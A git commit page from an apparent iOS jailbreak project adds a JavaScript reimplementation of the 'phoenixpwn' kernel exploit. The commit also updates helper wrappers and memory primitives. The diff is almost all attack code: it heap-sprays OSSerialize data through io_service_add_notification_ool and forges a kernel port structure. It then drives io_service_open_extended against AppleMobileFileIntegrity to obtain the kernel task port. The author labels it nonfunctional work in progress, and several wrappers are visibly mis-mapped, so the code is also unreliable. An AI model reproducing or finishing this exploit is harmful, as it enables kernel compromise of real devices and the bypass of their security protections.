summaryrefslogtreecommitdiff
path: root/src/js
diff options
context:
space:
mode:
authorspv420 <unomilliono@gmail.com>2022-04-24 13:08:55 -0400
committerspv420 <unomilliono@gmail.com>2022-04-24 13:08:55 -0400
commit313627a7864d67e29a3655dd4a6077ac0481f3c1 (patch)
tree714f13d602ebab9579f5a897ee5ca363e0cfbbef /src/js
parent7696be307f95423066348555f04546782e08ff22 (diff)
ohai nonfunctional wip kexp
Diffstat (limited to 'src/js')
-rw-r--r--src/js/kexp/exploit.js156
-rw-r--r--src/js/lib/myutils.js33
-rw-r--r--src/js/main.js6
-rw-r--r--src/js/primitives/call.js2
-rw-r--r--src/js/primitives/mem.js8
5 files changed, 198 insertions, 7 deletions
diff --git a/src/js/kexp/exploit.js b/src/js/kexp/exploit.js
new file mode 100644
index 0000000..48d7f62
--- /dev/null
+++ b/src/js/kexp/exploit.js
@@ -0,0 +1,156 @@
+/*
+ * phoenixpwn kernel exploit
+ * reimplemented in JS
+ * greetz to @s1guza, @tihmstar, @i41nbeer, @mbazaliy
+ */
+
+var sanity_port = 0;
+var MACH_PORT_RIGHT_RECEIVE = 0x1;
+var MACH_MSG_TYPE_MAKE_SEND = 0x14;
+var MACH_PORT_LIMITS_INFO = 0x1;
+var MACH_PORT_LIMITS_INFO_COUNT = 0x1;
+var kport_size = 0x78;
+var kport_ip_bits4 = 0x0;
+var kport_ip_references4 = 0x4;
+var kport_ip_lock_type4 = 0x10;
+var kport_ip_messages_port_qlimit2 = 0x42;
+var kport_ip_receiver4 = 0x4c;
+var kport_ip_srights4 = 0x70;
+var KERN_SUCCESS = 0;
+var NULL = 0;
+var MACH_PORT_NULL = 0;
+
+var kOSSerializeDictionary = 0x01000000;
+var kOSSerializeArray = 0x02000000;
+var kOSSerializeSet = 0x03000000;
+var kOSSerializeNumber = 0x04000000;
+var kOSSerializeSymbol = 0x08000000;
+var kOSSerializeString = 0x09000000;
+var kOSSerializeData = 0x0a000000;
+var kOSSerializeBoolean = 0x0b000000;
+var kOSSerializeObject = 0x0c000000;
+
+var kOSSerializeTypeMask = 0x7F000000;
+var kOSSerializeDataMask = 0x00FFFFFF;
+
+var kOSSerializeEndCollection = 0x80000000;
+
+var kOSSerializeMagic = 0x000000d3;
+
+var SIZEOF_BYTES_MSG = 384;
+
+var PORTS_NUM = 1024;
+var PORTS_NUM_PRESPRAY = 100;
+var MIG_MAX = 0x1000;
+var NDR_record = 0x36ebf00c;
+
+function spray_data(mem, size, num, portptr) {
+ var err = malloc(4);
+ var ret = 0;
+ var master = malloc(4);
+ host_get_io_master(mach_host_self(), master);
+ var dict = malloc(MIG_MAX);
+ var __cnt = 0;
+ write_u32(dict + (__cnt << 2), kOSSerializeMagic); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeDictionary | 1); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeSymbol | 4); __cnt++;
+ write_u32(dict + (__cnt << 2), 0x0079656b); __cnt++;
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeArray | num); __cnt++;
+
+ for (var i = 0; i < num; i++) {
+ if (i == (num - 1)) {
+ write_u32(dict + (__cnt << 2), kOSSerializeEndCollection | kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
+ } else {
+ write_u32(dict + (__cnt << 2), kOSSerializeData | SIZEOF_BYTES_MSG); __cnt++;
+ }
+ if (mem != 0 && size != 0) {
+ memcpy(dict + (__cnt << 2), mem, size);
+ }
+ memset(dict + (__cnt << 2) + size, 0, SIZEOF_BYTES_MSG - size);
+ __cnt += SIZEOF_BYTES_MSG / 4;
+ }
+
+ printf("%x %x\n", master, read_u32(master));
+ ret = io_service_add_notification_ool(read_u32(master), "IOServiceTerminate", dict, __cnt * 4, MACH_PORT_NULL, NULL, 0, err, portptr);
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+
+ return ret;
+}
+
+function copyinPort(kport, cnt) {
+ var err = malloc(4);
+ var ret = 0;
+ var self = mach_task_self();
+ var service = MACH_PORT_NULL;
+ var client = malloc(4);
+ var it = MACH_PORT_NULL;
+ var o = MACH_PORT_NULL;
+ var data = malloc(4);
+ var master = malloc(4);
+ host_get_io_master(mach_host_self(), master);
+ ret = spray_data(NULL, 0, 5, data);
+ printf("spray_data=%d (%s)\n", ret, mach_error_string(ret));
+ printf("sprayed, still here\n");
+
+ service = IOServiceGetMatchingService(read_u32(master), IOServiceMatching("AppleMobileFileIntegrity"));
+ printf("service=%x\n", service);
+
+ var tst = sptr("AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA");
+ var kpbuf = tst + 4;
+ for (var i = 0; i < cnt; i++) {
+ write_buf(kpbuf + (i * kport_size), read_buf(kport + (i * kport_size), kport_size), kport_size);
+ }
+
+ var xml = sptr("<plist><dict><key>AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA</key><integer size=\"512\">1768515945</integer></dict></plist>");
+// write_u32(err, 0);
+ ret = io_service_open_extended(service, self, 0, NDR_record + get_dyld_shc_slide(), xml, strlen(xml), err, client);
+ printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
+ if (ret == KERN_SUCCESS) {
+ ret = read_u32(err);
+ }
+ printf("io_service_open_extended=%d (%s)\n", ret, mach_error_string(ret));
+}
+
+function get_kernel_task() {
+ var ret = 0;
+ var tfp0 = 0;
+
+ sanity_port = malloc(4);
+
+ mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, sanity_port);
+ mach_port_insert_right(mach_task_self(), read_u32(sanity_port), read_u32(sanity_port), MACH_MSG_TYPE_MAKE_SEND);
+ limits = malloc(4);
+ write_u32(limits, 1000);
+ mach_port_set_attributes(mach_task_self(), read_u32(sanity_port), MACH_PORT_LIMITS_INFO, limits, MACH_PORT_LIMITS_INFO_COUNT);
+
+ printf("starting exploit\n");
+
+ var data = malloc(16);
+ var kport = malloc(kport_size * 2);
+ var ptr = kport + kport_size; // maybe + 1? iirc adding 1 to a pointer adds sizeof(type) unless it's void or something
+ write_u32(kport + kport_ip_bits4, 0x80000002); // IO_BITS_ACTIVE | IOT_PORT | IKOT_TASK
+ write_u32(kport + kport_ip_references4, 100);
+ write_u32(kport + kport_ip_lock_type4, 0x11);
+ write_u16(kport + kport_ip_messages_port_qlimit2, 777);
+ write_u32(kport + kport_ip_receiver4, 0x12345678); // dummy
+ write_u32(kport + kport_ip_srights4, 99);
+
+ var big_buf = malloc(MIG_MAX);
+ var small_buf = malloc(MIG_MAX);
+
+ var big_size = 0;
+ var small_size = 0;
+
+ var fp = malloc(PORTS_NUM * 4);
+ var postSpray = malloc(4);
+
+ usleep(10000);
+ sched_yield();
+ var kptr = copyinPort(kport, 2);
+
+ printf("get lucky\n");
+
+ return tfp0;
+} \ No newline at end of file
diff --git a/src/js/lib/myutils.js b/src/js/lib/myutils.js
index 29085c3..d531cc8 100644
--- a/src/js/lib/myutils.js
+++ b/src/js/lib/myutils.js
@@ -64,10 +64,14 @@ function sleep(t) {
}
*/
-function scall_wrapper() {
+function scall_wrapper(s) {
function _scall_wrapper() {
var args_to_pass = new Array();
- args_to_pass.push(arguments.callee.func_name);
+ if (arguments.callee.hasOwnProperty("func_name")) {
+ args_to_pass.push(arguments.callee.func_name);
+ } else {
+ args_to_pass.push(s);
+ }
if (arguments.callee.hasOwnProperty("pre_args")) {
args_to_pass = args_to_pass.concat(arguments.callee.pre_args);
@@ -85,8 +89,23 @@ function scall_wrapper() {
return _scall_wrapper;
}
-var syslog = scall_wrapper();
-syslog.func_name = "syslog";
-
-var sleep = scall_wrapper();
-sleep.func_name = "sleep"; \ No newline at end of file
+var syslog = scall_wrapper("syslog");
+var sleep = scall_wrapper("sleep");
+var strlen = scall_wrapper("strlen");
+var mach_task_self = scall_wrapper("mach_task_self");
+var mach_thread_self = scall_wrapper("mach_thread_self");
+var malloc = scall_wrapper("malloc");
+var mach_port_allocate = scall_wrapper("malloc");
+var mach_port_insert_right = scall_wrapper("malloc");
+var mach_port_set_attributes = scall_wrapper("mach_port_set_attributes");
+var usleep = scall_wrapper("usleep");
+var sched_yield = scall_wrapper("sched_yield");
+var memcpy = scall_wrapper("memcpy");
+var memset = scall_wrapper("memset");
+var io_service_add_notification_ool = scall_wrapper("io_service_add_notification_ool");
+var host_get_io_master = scall_wrapper("host_get_io_master");
+var mach_host_self = scall_wrapper("mach_host_self");
+var mach_error_string = scall_wrapper("mach_error_string");
+var IOServiceGetMatchingService = scall_wrapper("IOServiceGetMatchingService");
+var IOServiceMatching = scall_wrapper("IOServiceMatching");
+var io_service_open_extended = scall_wrapper("io_service_open_extended"); \ No newline at end of file
diff --git a/src/js/main.js b/src/js/main.js
index 018e514..b3b0e4c 100644
--- a/src/js/main.js
+++ b/src/js/main.js
@@ -46,6 +46,12 @@ function main() {
printf("*(uint16_t*)base = 0x%x\n", read_u16(base));
printf("*(uint32_t*)base = 0x%x\n", read_u32(base));
+ var tfp0 = get_kernel_task();
+
+ printf("tfp0=%x\n", tfp0);
+
+ return 0;
+
var i = 0;
while (true) {
// scall("printf", "get rekt from jsc %d (slide=%x)\n", i, slide);
diff --git a/src/js/primitives/call.js b/src/js/primitives/call.js
index af9ede0..9bb43c1 100644
--- a/src/js/primitives/call.js
+++ b/src/js/primitives/call.js
@@ -260,5 +260,7 @@ function scall() {
}
}
+// printf("%s\n", args_to_pass.toString());
+
return callnarg.apply(this, args_to_pass);
} \ No newline at end of file
diff --git a/src/js/primitives/mem.js b/src/js/primitives/mem.js
index 551b59f..85cd132 100644
--- a/src/js/primitives/mem.js
+++ b/src/js/primitives/mem.js
@@ -83,6 +83,14 @@ function write_buf(addy, buf, len) {
return buf;
}
+function write_u32_buf(addy, buf, len) {
+ for (cur_addy = addy; cur_addy < (addy + len); cur_addy += 4) {
+ write_u32(cur_addy, buf[(cur_addy - addy) / 4]);
+ }
+
+ return buf;
+}
+
/*
* write uint8_t
*/